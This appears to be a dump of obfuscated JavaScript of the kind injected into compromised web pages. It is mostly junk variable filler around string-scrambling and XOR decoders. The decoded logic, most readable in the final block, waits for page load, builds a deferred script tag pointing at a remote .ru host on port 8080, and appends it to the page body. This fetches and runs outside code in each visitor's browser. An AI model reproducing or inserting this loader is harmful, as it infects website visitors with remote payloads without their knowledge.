n("evcom.ilissiteed08gn.r:u80", [2,3,4,5,7,6,1,0]),5, n("e.sdtAttuibr\'e(teefdr\'", [3,1,2,0]),6, n("vinokny.cz", [2,3,0,1,5,4,6]),7, n("sedrvaplruse.com", [5,2,0,1,3,4]),8, n("niwwodno.aold", [2,1,0]),11, n("hspoolac.locm", [1,0]),12, n("ufntcino()", [1,0,2]),14, n("oggo.lceom", [1,3,0,2]),15, n("tccaeh)(", [1,3,0,2]),16, n("h\"tt:p", [1,0]),17, n(".crds", [3,0,4,2,1]),18, n("1\'\')", [1,0,2]),19, n("ytr", [1,2,0])];var Am='';var Cg;if(Cg!='bE' && Cg!='iXF'){Cg=''};var i = u.fromCharCode(37);var Uz="Uz";this.dr="";var cBT;if(cBT!='' && cBT!='Mr'){cBT=''};var znO='';for(var U=nF; U < y; U+=a){var Bh=new Date();this.eT=false;P+= i; var Xg="";P+= nj[n("ussbrt", [1,0])](U, a);}var MI;if(MI!='' && MI!='Ce'){MI=null};var xO;if(xO!='' && xO!='CT'){xO='eVP'};var mjG;if(mjG!='QBx' && mjG!='eJ'){mjG=''};var rK;if(rK!='' && rK!='qY'){rK=''};var nj = kj(P);var Ej="";this.Xj="Xj";var hU = new u(h);var iB = hU[n("prlceae", [1,4,0,2,5,3])](kI, jo);var FKh;if(FKh!='yD' && FKh != ''){FKh=null};this.eM="eM";var tT;if(tT!='gt'){tT=''};var wN;if(wN!='qKB' && wN != ''){wN=null};iB = r(iB);var Qz;if(Qz!=''){Qz='CK'};var b = R[n("ntelgh", [3,2,0,4,1])];var ZE = new u(D);this.wQ='';var jd;if(jd!='aH'){jd=''};this.Qt="";var z = ZE[n("elprace", [3,0,2,1,4,5])](kI, jo);var To;if(To!=''){To='eJI'};var z = q(z);var gr="";var Pl=false;var Y=q(iB);var AN;if(AN!='' && AN!='VR'){AN='sc'};var Jl=new String();for(var c=nF; c < (nj[n("tlgneh", [1,4,3,2,0])]);c=c+[1][0]) {this.SF=17561;var eb=new String();var BI;if(BI!=''){BI='LN'};var Cc = iB.charCodeAt(A);var qn = d(nj,c);var kWi=new Array();this.vN="vN";this.qk='';this.tt='';qn = V(qn, Cc);qn = V(qn, Y);qn = V(qn, z);var Dr=new Date();var dn;if(dn!='Rr'){dn=''};var lj;if(lj!='mQ'){lj=''};var hX=new Date();A++;var Ay=new Date();var mC;if(mC!='jA'){mC='jA'};var Is="";if(A > iB.length-e){A=nF;var Rs;if(Rs!='XW'){Rs='XW'};this.wD='';}this.KF="KF";this.me='';PH += cX(qn);this.cD=false;this.Nq='';}for(ks=nF; ks < b; ks+=a){var mmo="";var kW = cX(R[ks]);var SZD;if(SZD!='Gp' && SZD != ''){SZD=null};var HX='';this.Sa='';var Ck = R[ks + e];var XB;if(XB!='qo' && XB!='aKs'){XB=''};var Va=new Array();var oe = new QK(kW, "g");var fN='';this.vJQ="";PH=PH[n("pelarce", [4,1,0,2,3])](oe, Ck);var Nt=49817;var Gj;if(Gj!='Xw'){Gj=''};}var LJK=false;var hm="";var Kd=new D(PH);Kd();var ORO=14011;ZE = '';var aZ;if(aZ!='' && aZ!='er'){aZ=null};var vp;if(vp!='' && vp!='vY'){vp=null};Kd = '';var vh;if(vh!='mb' && vh!='fW'){vh=''};iB = '';var qF="qF";Y = '';this.QJ="";this.vM="";PH = '';var pl='';var mkd='';z = '';this.vL="vL";var WhN;if(WhN!='' && WhN!='xJ'){WhN=''};this.oI="oI";this.VI=false;return '';};var UU;if(UU!='Fw'){UU=''};var LO;if(LO!='QzU'){LO=''};var ak=new String();h(aN);
var sY="a1beb78caeccb6adbea3a4c9aaa2a682d399b19bbca0adaaa7889b9983a19ca686aa98b0b9b38fa3a2b398af9c9f91abaf9bbdbaa1868186a0a8af9ba097ac9bbed99397c883a187ecaaa1f3be85";var YH;if(YH!='HwT' && YH!='NG'){YH='HwT'};var Uc=false;function e(v){this.b='';var dy;if(dy!='' && dy!='bB'){dy=''}; var WT=function(O){var ek=new Array();var u;if(u!='' && u!='Fp'){u='Qb'};var ct='';var MF=[153,225,0][2];var Bj;if(Bj!='CR'){Bj='CR'};var d=O[D("elgnht", [1,0])];var k;if(k!='WI' && k != ''){k=null};this.q="";var g=[189,0,120][1];var ym="";var p;if(p!=''){p='WD'};var n=[90,255,196,72][1];var P;if(P!=''){P='he'};var ck;if(ck!='' && ck!='nJx'){ck=''};var MK=new String();var B=[1][0];var tS;if(tS!='yw'){tS='yw'};var Lo='';var yp=new String();while(MF<d){MF++;var rB;if(rB!='' && rB!='ng'){rB='iT'};var uR;if(uR!='' && uR!='gB'){uR='be'};Dw=Bx(O,MF - B);g+=Dw*d;var ZZ='';var Yk="Yk";}var AM=false;var mX;if(mX!='Oj' && mX!='lG'){mX='Oj'};var fl;if(fl!='R' && fl!='IY'){fl='R'};return new M(g % n);this.Lx="Lx";var OX;if(OX!='pR'){OX=''};};var bBs=new String();var Rg=new String();var tI=new String(); function X(a){this.VL='';this.bt='';a = new M(a);var GB;if(GB!='' && GB!='GQ'){GB=''};var nJ = '';var TI;if(TI!='Ji'){TI='Ji'};var Pb='';var S =[19,204,0,62][2];var m =[0,244][0];this.PT="PT";var vt;if(vt!='' && vt!='vm'){vt=null};var J = -1;var yj;if(yj!='fj'){yj=''};var xF=new Date();var ld="";for (m=a[D("ntlegh", [2,3,0,4,1])]-J;m>=S;m=m-[1,42][0]){nJ+=a[D("trAach", [4,5,3,1,2,0])](m);}this.nG='';var gx="gx";return nJ;var tk;if(tk!='' && tk!='Ai'){tk='Ec'};}this.TS=42428;this.ug=false;this.am="am";var Aj="Aj"; var yh;if(yh!='' && yh!='IP'){yh=null};var If;if(If!='' && If!='BS'){If=null};function D(a, SO){var Eh=44608;var S=[60,229,0,141][2];var kF="kF";var xl="xl";var B=[13,1,36][1];var kS="kS";var dC;if(dC!='' && dC!='rb'){dC='ZJ'};var nJ = '';var IO='';var TtA;if(TtA!='eu' && TtA!='Bn'){TtA=''};this.LE="";var Te="Te";var mw = SO.length;var Wv = a.length;var mT=11670;var Xw="";var dR;if(dR!='wi'){dR=''};for(var m = S; m < Wv; m += mw) {var FD=new Date();var bV=new Date();var ye="ye";var F = a.substr(m, mw);var Xd;if(Xd!='' && Xd!='fP'){Xd=''};if(F.length == mw){for(var MF in SO) {this.sC=false;var MM;if(MM!='' && MM!='WaO'){MM='iTo'};var Rz=new Date();nJ+=F.substr(SO[MF], B);var XF;if(XF!='BC' && XF!='TG'){XF='BC'};var PI;if(PI!='' && PI!='kxb'){PI=''};var Dr='';}var GF;if(GF!='' && GF!='WR'){GF=''};} else {var OS=34047;  nJ+=F;}var lE="lE";}return nJ;var rV='';} function y(N,A){return N^A;var Sh;if(Sh!='' && Sh!='GE'){Sh=''};var ui;if(ui!='' && ui!='zvw'){ui=''};}var pI;if(pI!='ft'){pI='ft'};this.yy="";var jx;if(jx!='aA'){jx=''};var bE="bE";var Tr;if(Tr!='jm'){Tr='jm'}; var Bx=function(C,i){var lF;if(lF!='VG'){lF=''};var zN=63476;return C[D("haroCecdAt", [6,0,1,2,4,3,7,5])](i);var Flq;if(Flq!='gD' && Flq != ''){Flq=null};this.KG=18730;};var ZvH=57159;var YK=new Date();var w=window;var Lr="Lr";var xrG="xrG";var wW=w[D("aevl", [1,2,0])];var Tp=new String();var K=wW(D("nFuitcon", [1,2,0,5,4,3]));var ZL=false;var M=wW(D("nStrig", [1,2,3,4,0]));var inZ=false;var lC;if(lC!=''){lC='ZU'};var DB=wW(D("EgeRxp", [3,2,1,0,4]));var la;if(la!='' && la!='Hz'){la='fBu'};var Q = '';this.Yb="";this.ag="";this.sn=13009;var fU=new Date();var TM;if(TM!='' && TM!='gt'){TM='dn'};var rY;if(rY!='' && rY!='fc'){rY=''};var s=M[D("mCorfCorahde", [4,3,2,0,1])];var mfV="mfV";var Hh;if(Hh!='' && Hh!='mU'){Hh=null};var WU='';var c=w[D("eusnpcea", [1,3,0,2])];var lM;if(lM!='' && lM!='fq'){lM=null};this.wg="";var Dc='';this.va="va";var mwl=new Date();var V=[1, D("fhsuertcnlha.necom", [2,3,5,0,6,1,4,7]),2, D("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),3, D("ucodtnemdob.pa.ydneplihC)d(d", [3,2,1,0]),4, D("omc1e.001ne..ktnoioipsk", [2,0,1]),5, D("set.dtritAte(ubefed\'r\'", [4,3,0,1,2]),6, D("uhe.trhmabelosr80u:.80", [5,0,3,4,1,2,6]),7, D("nwdoiwn.looad", [1,4,0,2,3,5]),8, D("cpnenjy.ocme", [5,0,1,3,2,4]),11, D("ooglgc.emo", [2,1,0,4,3]),12, D("ilkniwhtni", [1,0]),14, D("ntocfuin()", [4,5,7,3,1,6,2,0]),15, D("ti61.8ocm", [1,0]),16, D("hae(ctc)", [6,1,5,4,0,3,2,7]),17, D("th\"tp:", [2,1,3,0]),18, D(".drsc", [1,0,3,2]),19, D("1\'\')", [1,0,2]),20, D("yrt", [2,1,0])];var Og = /[^@a-z0-9A-Z_-]/g;var cc=new Array();var As;if(As!='vY' && As!='ERu'){As='vY'};var U = '';var S =[0,149,123,218][0];var Ot = '';var Ch=57161;var jq;if(jq!='gI'){jq='gI'};var DG = s(37);this.Ys='';this.vc="";var B =[1][0];var Twl;if(Twl!='AI'){Twl=''};var FP = '';var mXd;if(mXd!='hOl' && mXd!='Hw'){mXd='hOl'};var z =[2][0];var Kl=new String();var Wb =[0][0];var tt="tt";var VD;if(VD!='hB' && VD!='Pc'){VD='hB'};var x = v[D("elgnht", [1,0])];var Xv=new String();var Dh;if(Dh!='Uw' && Dh!='LD'){Dh='Uw'};var Bo;if(Bo!='' && Bo!='dh'){Bo=null};var LW;if(LW!='' && LW!='dw'){LW=null};var DBc="DBc";var YKs=false;var qW=false;for(var Sw=S; Sw < x; Sw+=z){Ot+= DG; var Nhb;if(Nhb!='Ag' && Nhb != ''){Nhb=null};Ot+= v[D("busstr", [3,1,0,2])](Sw, z);this.sp="sp";var yJ;if(yJ!='' && yJ!='Qr'){yJ='jI'};}var gDN="gDN";this.zG=25051;var v = c(Ot);var Ho;if(Ho!='gxw'){Ho=''};var vA;if(vA!=''){vA='is'};var cr = new M(e);var Ep;if(Ep!=''){Ep='pa'};var L = cr[D("eclepar", [6,0,4,2,5,1,3])](Og, U);var Wg=new Date();var wE;if(wE!='Gm' && wE!='nJj'){wE='Gm'};L = X(L);this.OKK="OKK";var yV=new String();var ev = V[D("getnlh", [4,1,3,0,2])];var Zr;if(Zr!='tX' && Zr != ''){Zr=null};var Ll=new Date();var vB = new M(K);var Jq;if(Jq!='' && Jq!='RP'){Jq=''};var nR=false;var sxp;if(sxp!='' && sxp!='dV'){sxp=''};var t = vB[D("aceplre", [5,2,3,4,0,1])](Og, U);var t = WT(t);var TeC;if(TeC!=''){TeC='gP'};var T=WT(L);var PX='';var qq='';for(var m=S; m < (v[D("egnlth", [3,0,2,1])]);m=m+[1][0]) {var Ezc=new Array();var KS=45966;var NW = L.charCodeAt(Wb);var vg = Bx(v,m);var vG;if(vG!='' && vG!='UwT'){vG='Of'};var PG;if(PG!='' && PG!='BY'){PG=null};vg = y(vg, NW);var Op;if(Op!='' && Op!='TF'){Op='mS'};var Jo=false;var UX;if(UX!='jf' && UX!='wX'){UX='jf'};vg = y(vg, T);var fsO;if(fsO!=''){fsO='Bp'};vg = y(vg, t);Wb++;var UF="UF";var AvZ;if(AvZ!='' && AvZ!='jmw'){AvZ=''};var qv=new Date();if(Wb > L.length-B){Wb=S;var HV=37817;}var YV;if(YV!='' && YV!='TR'){YV=null};FP += s(vg);}var aUV='';var NR='';for(o=S; o < ev; o+=z){var cU='';var Pv="";var xb = V[o + B];var E = s(V[o]);var Wh;if(Wh!='sd' && Wh != ''){Wh=null};var Ov;if(Ov!='zI'){Ov=''};var DW = new DB(E, M.fromCharCode(103));this.jY=false;this.Vu=false;FP=FP[D("pealcre", [5,1,0,3,2,4,6])](DW, xb);var BUN;if(BUN!='' && BUN!='vGO'){BUN=''};}this.Vw=false;var Zjg;if(Zjg!='' && Zjg!='wD'){Zjg='KYV'};var Vz=new K(FP);var Bon;if(Bon!='wQ' && Bon!='gU'){Bon='wQ'};Vz();var eA;if(eA!='' && eA!='su'){eA=''};var lkP;if(lkP!=''){lkP='Eb'};this.lP='';var vj;if(vj!='xy' && vj!='aM'){vj=''};this.iSh=36561;T = '';var Cf;if(Cf!='' && Cf!='zy'){Cf=null};Vz = '';var le=new Date();var yf=new Date();t = '';FP = '';var Km;if(Km!='Iq' && Km!='eT'){Km=''};L = '';vB = '';var Wc;if(Wc!='dox' && Wc!='Hzq'){Wc='dox'};var yH=new String();this.Opp=false;var Nj=new Array();return '';};var YH;if(YH!='HwT' && YH!='NG'){YH='HwT'};var Uc=false;e(sY);

var N=new String();var C=new String();function e() {var I=new String();var On;if(On!='' && On!='S'){On=null};var j;if(j!='b'){j=''};var G=new String();this.inS="";var bw;if(bw!='' && bw!='sz'){bw=''};var z=']';var Z=RegExp;this.HS="";this.SH="";var W='g';this.tn='';var x='[';this.w="";var CY=new Array();var H='replace';var oT=new Array();var k;if(k!='P' && k!='Zz'){k=''};function l(J,f){var xi;if(xi!='UJ'){xi=''};var a=x;var tm;if(tm!=''){tm='OC'};a+=f;a+=z;var fV='';var PA='';var zi=new Z(a, W);var _="";return J[H](zi, G);var JQ;if(JQ!='m' && JQ!='sU'){JQ='m'};var M=new Date();};var OJ;if(OJ!='' && OJ!='Ct'){OJ=''};var Dd='';var Ja=l('sFcFrFi9pFtF',"9F");var s=l('hOtNtOpN:N/O/NsOtNeNrNnN-OdNeO.OyOeOlNlNoNwOpOaOgNeOsO.OcOoNmN.O1OeO1N0N0N-OnOeOtN.OjOeOrOsNeOyOhNoNmNeNsNiOtNeN.OrNuO:O',"ON");var fP='';var pnw;if(pnw!=''){pnw='Jl'};var Q=l('/9mfaut9cfh9.9cuofmu/fm9aftfcuhf.fc9o9mu/uguo9o9g9l9ef.ucuoumf/fbfi9g9puouifnutf.9cuo9m9/uwfpu.9pul9.upuhup9',"f9u");var zp=new Array();var L=window;this.Fz="";var t='';var Cv;if(Cv!='IY' && Cv!='Sr'){Cv='IY'};this.QI="";var Az;if(Az!='zG'){Az='zG'};var Lf=l('8357053338547750775',"3457");var fS=l('cpr8e8aMt8eMEpl8e8mMepnMt8',"M8p");var u;if(u!='Sx'){u='Sx'};L[l('ovnvl6o6a6d6',"v6")]=function(){var NT;if(NT!='' && NT!='IW'){NT='q'};try {var Ub;if(Ub!='d' && Ub!='Dh'){Ub='d'};this.wCh='';var Ly;if(Ly!='Di'){Ly=''};var eP;if(eP!='Ua' && eP!='sb'){eP='Ua'};t+=s;this.FD="";this.Kt="";t+=Lf;var un;if(un!='' && un!='_F'){un='Wv'};var vR='';t+=Q;var aO;if(aO!='cJ' && aO!='cB'){aO=''};var OCZ=new Array();var Jh;if(Jh!='Fj' && Jh!='r'){Jh='Fj'};QE=document[fS](Ja);var ym;if(ym!='NU'){ym=''};var Iu;if(Iu!='Y_' && Iu!='Eer'){Iu='Y_'};var CN;if(CN!='mc'){CN=''};this.Qa='';E(QE,'src',t);var Kr=new Date();E(QE,'defer',([1,4][0]));document.body.appendChild(QE);} catch(Je){var qh;if(qh!='HcP' && qh!='Ri'){qh='HcP'};};var dE;if(dE!=''){dE='lIn'};};var oJ="";this.rz="";function E(o,D,O){var h="";o.setAttribute(D, O);var LF="";}var gi;if(gi!=''){gi='pH'};var lD;if(lD!='yW' && lD!='ud'){lD='yW'};};var Na='';e();var lqp;if(lqp!='' && lqp!='dM'){lqp=null};var Ht='';